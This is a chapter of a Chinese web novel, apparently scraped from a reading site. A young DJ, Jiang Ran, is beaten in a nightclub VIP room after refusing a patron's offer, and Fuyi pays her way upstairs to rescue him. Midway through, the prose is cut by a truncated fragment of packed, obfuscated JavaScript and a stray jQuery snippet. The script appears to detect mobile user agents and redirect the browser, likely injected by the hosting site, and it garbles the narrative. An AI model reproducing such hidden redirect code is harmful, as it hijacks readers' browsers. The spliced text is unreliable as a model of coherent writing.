二楼VIP包厢。

    里面烟雾缭绕,沙发上,坐着一个打扮妖艳的中年女人。

    几个面熟的年轻男人依偎在她身侧,姿态讨好。

    这几个年轻男人,江燃见过几次。

    是夜色怡人的陪酒。

    “曦姐,人带到了。”

    女人轻轻推开了靠在她肩头的男人,端着酒杯,目光迷离地打量着站在门边的少年。

    “江燃?”

    同样是肆无忌惮的注视,这女人的目光却和拂衣给人的感觉截然不同。

    一个让他心烦意乱,一个,却只让他感到恶心。

    江燃板着脸,微微颔首。

    女人笑了下,涂着鲜红指甲油的手指,轻轻敲击着酒杯。

    “听说你很缺钱?”

    她说得慢条斯理,带着不加掩饰的施舍。

    “跟了我,每个月给你五万,怎么样?”

    江燃脸色瞬间沉了下来。

    他想起来她是谁了。

    之前听人提起过,这一片有个叫曦姐的大姐头,最爱的就是包养那些长得好看的年轻小男生。

    原来是曦,不是夕。

    确认不是那个女生在搞鬼,江燃也说不清是松了口气,还是什么别的情绪。

    “没兴趣。”

    “十万。”

    曦姐也不生气,只气定神闲的继续加价。

    似乎笃定了他一定会心动。

    “我说了,没兴趣。”

    江燃没了兴致再继续待下去,转身就要走。

    “站住。”

    曦姐的声音也跟着冷了下来。

    两个西装男立即上前拦住江燃的去路。

    江燃被迫停下,浑身溢着不耐烦。

    包厢里靡靡的音乐声停了下来,气氛瞬间冷凝。

    坐在曦姐身边的一个年轻男人立即挽住了曦姐的胳膊。

    “曦姐别生气嘛,生气可是会长皱纹的!”

    他轻轻抚着她的背,轻笑着打破了这一触即发的氛围。

    一句话说得一波三折,酥酥媚媚的。

    “小孩子不懂事儿,教一下就好了,对不对?”

    曦姐似笑非笑地看了眼这个男人,指尖在他下巴上挠了下。

    “怎么?想保他?”

    男人不着痕迹地颤了下,没敢挪开脸,也没敢再出声。

    曦姐冷哼一声,一把推开了男人。

    哗啦——

    男人倒在面前的玻璃桌上,酒水洒了一地。

    “我看上的人,还没有得不到的。”

    曦姐抽了张纸巾,慢吞吞擦着刚刚挠过他下巴的手指。

    “记清楚你自己的身份!”

    其余人被这个变故吓得纷纷站起来,低着头大气不敢喘。

    男人从桌上爬起来,也顾不得去看被玻璃割伤的手,颤抖着退到一边。

    “曦、曦姐……对、对不起……”

    江燃扫了眼男人,握紧了拳头。

    眼底的厌恶再也没有任何遮挡,全数暴露。

    “我说了,不、卖!”

    “这可由不得你。”

    曦姐使了个眼色,两个西装男立即动手。

    江燃迅速侧身躲开,反手扣住对方手腕,重重往下一压。

    但另一个人已经掏出甩棍,狠狠砸向他的后背。

    砰——

    “呃……”

    江燃闷哼一声,差点跪在了地上。

    手里钳制的人也趁这会儿脱离了掌控,和另一个人前后夹击打了过来。

    包厢里顿时乱作一团,陪酒们惊慌地缩在角落。

    最初出声的那个男人没忍住,往前迈了一步,立即被身边的人抓住。

    “别过去!你不想活了?!”

    同伴压低了声音呵斥着他,死死地摁着他,不让他过去。

    曦姐没注意到这边,坐在沙发上,冷眼看着那边的战局。

    “还挺能打,倒是更有意思了。”

    一支烟点燃,曦姐弹了下烟灰,踩着高跟鞋越过他们,被手下护送着往外走。

    “好好教训教训,别伤了脸。”

    --

    拂衣从洗手间出来,就发现原本的卡座已经被人占了。

    而DJ台上的江燃,此时也不见踪影。

    下意识看了眼时间,凌晨一点。

    “这么快就下班了?”

    不应该啊。

    等在外面的保镖立即上前,低声汇报。

    “小老板,那个姓江的小同学,被人带到二楼了。”

    “二楼?”

    拂衣皱了下眉。

    那是私人区域,不接待宾客。

    江燃怎么会上去?

    不对劲。

    “上去看看。”

    在保镖的引领下,拂衣径直走向二楼。

    刚到楼梯口,就被工作人员拦了下来。

    “抱歉,二楼是私人区域,不能上去。”

    拂衣扫了眼楼道上守着的保安。

    思索着让身后这两个保镖打上去的可能性。

    觉察到她那危险的想法,金元宝吓得尖叫出声。

    【灵主住脑!不要再想了!】

    生怕慢了一步,她就要开打了,金元宝赶紧刷新任务。

    【请成为夜色怡人至尊VIP客户,限时一小时,资金不限,花得越多越好!】

    【灵主!您记住!我们的任务方式就是花钱!能用钱解决的事儿都不是事儿,您尽管浪!咱们不差钱的!】

    “……”

    拂衣食指抵着眉心揉了下。

    抱歉,穷惯了,她还不是很习惯这种不差钱的日子。

    勉强压下了那点打上去的心思,拂衣收回目光,重新看向了面前的工作人员。

    “请问,要怎么才能成为你们的至尊VIP?”

    工作人员有些诧异,却还是露出了职业性微笑。

    “抱歉小姐,我们这里没有至尊vip这个会员档位呢。”

    拂衣眯了眯眼,指尖无意识点着裤缝。

    既然金元宝都已经发布了任务,那就不可能没有。

    所以……

    这二楼其实还是个不对外公开的特权阶层?

    “这样吧,你手机给我一下。”

    工作人员一愣,目光有些微妙。

    “您是有什么事儿么?”

    “放心,不会对你做什么的。”

    两个保镖识趣的上前一步,虎视眈眈地盯着她。

    “……”

    工作人员快哭了。

    这是不会对她做什么的态度么?!

    她下意识摸到了腰间别着的对讲机,心底安稳了几分,才颤颤巍巍递出手机。

    拂衣让她解了锁,拿出自己的手机扫了一下,就把手机还给了她。

    叮——

    提示音响起,她下意识看了眼手机。

    [支付宝到账10000元。]

    “!!!”

    她猛地收起手机,抬头看向拂衣。

    拂衣慢吞吞揣好手机,唇边挂着点乖巧的笑。

    “现在可以告诉我,要怎么才能成为至尊vip了吗?”

    “……”

    工作人员目光更加诡异,看了眼楼道上根本没注意这边的保安,凑近拂衣,压低了声音。

    “二楼是给道上的人准备的,不对外办理会员。”

    果然。

    拂衣摁了下指节。

    咔哒咔哒的声音,被淹没在那震天的音乐声中。

    直接打上去多省事儿,现在让她上哪儿去找个道上的冤大头。

    也不知道这破系统怎么想的。

    35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16800302|190488||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    >要是江燃真在上面出了什么事儿,等她绕完这么大一个圈子上去,黄花菜都凉了。

    它其实是来坑它主人的吧?

    拂衣甩了甩手,瞥向身后的保镖。

    “给我弄张卡过来。”

    想了想,又补了一句。

    “加钱。”

    “……”

    保镖沉默几秒。

    “好的,小老板稍等。”

    保镖很快就带着至尊vip卡回来了。

    和他一起回来的,还有西装男。

    给钱就办事务所的老大。

    “小老板,您这要求还真是一次比一次高了!”

    拂衣挑了下眉,接过卡。

    “可你们都能办到,不是么?”

    也不知道他怎么做到的。

    还挺好用。

    “当然。”

    西装男欠了下身,唇边挂着若有似无的笑意。

    “给钱就办事务所,从不让客户失望。”

    拂衣意味不明的哼了声,把卡递给工作人员。

    “现在,我可以上去了吗?”

    或许是收了钱,也或许是这里的规定,就是认卡不认人。

    工作人员并没有多问,接过卡,在楼梯口的机器上刷了一下,就让开了路。

    “各位请上楼,小心台阶。”

    把卡揣回兜里,拂衣慢吞吞往上走。

    “你怎么过来了?”

    “小老板的这个要求,一般人办不到啊,只能我亲自出马了。”

    踏上二楼走廊的瞬间,尽头的包厢门被猛地推开。

    一个年轻男人从里面飞出来,砸在地上,转瞬就失去了意识。

    半开的门内,一个身影才刚探出来,又立即被里面的人给拽了进去。

    乒乒乓乓的声音,在这静谧的走廊里十分刺耳。

    拂衣眉心一跳。

    卧槽!

    那是……江燃?!

    顾不上等西装男他们几个,拂衣迅速跑了过去。

    西装男一愣,推了把保镖。

    “愣着做什么,跟上去啊!可不能让这金主疙瘩出事儿!”

    “哦哦哦!”

    保镖反应过来,赶忙追了过去。

    包厢里一片狼藉。

    江燃被一个西装壮汉摁在地上,半边脸颊紧贴着沾满酒渍的地毯。

    他一只手被人踩着,手里还死死攥着一个破碎的酒瓶。

    身上脏兮兮的,衣服凌乱,能隐约看见掩藏在衣服里的肌肤上,到处都是青青紫紫的痕迹。

    尽管都这么狼狈了,他眼底的桀骜也没有消失。

    周身萦绕着一股戾气,阴沉又狠厉地盯着壮汉。

    “小子,还挺横?”

    踩着他手的壮汉狞笑着加重了力道。

    咔嚓——

    腕骨发出不堪重负的声响,江燃闷声一声,额角青筋暴起,却愣是没叫出声。

    他扯出一个带着血腥气的笑,声音沙哑,却无比清晰。

    “有本事,就弄死我。”

    “妈的!”

    壮汉被他这眼神激怒,抬脚就踹。

    砰——

    “啊!”

    摁着江燃的壮汉被一脚踹飞,重重砸在玻璃桌上。

    哗啦啦——

    桌子应声而碎。

    江燃艰难地抬起头。

    模糊的视线里,那个女生站在一片狼藉里,慢吞吞收脚。

    他垂了垂眼,紧攥着碎酒瓶的手,也不知道怎么就松了力道。

    咕噜噜滚到了一边。

    迟来一步的西装男看着她这彪悍的一脚,不自觉摸了下后背。

    乖乖,这小老板这么凶呢?

    “你踏马谁啊?”

    拂衣扶着墙,微微喘息着摆了下手。

    “弄死他们。”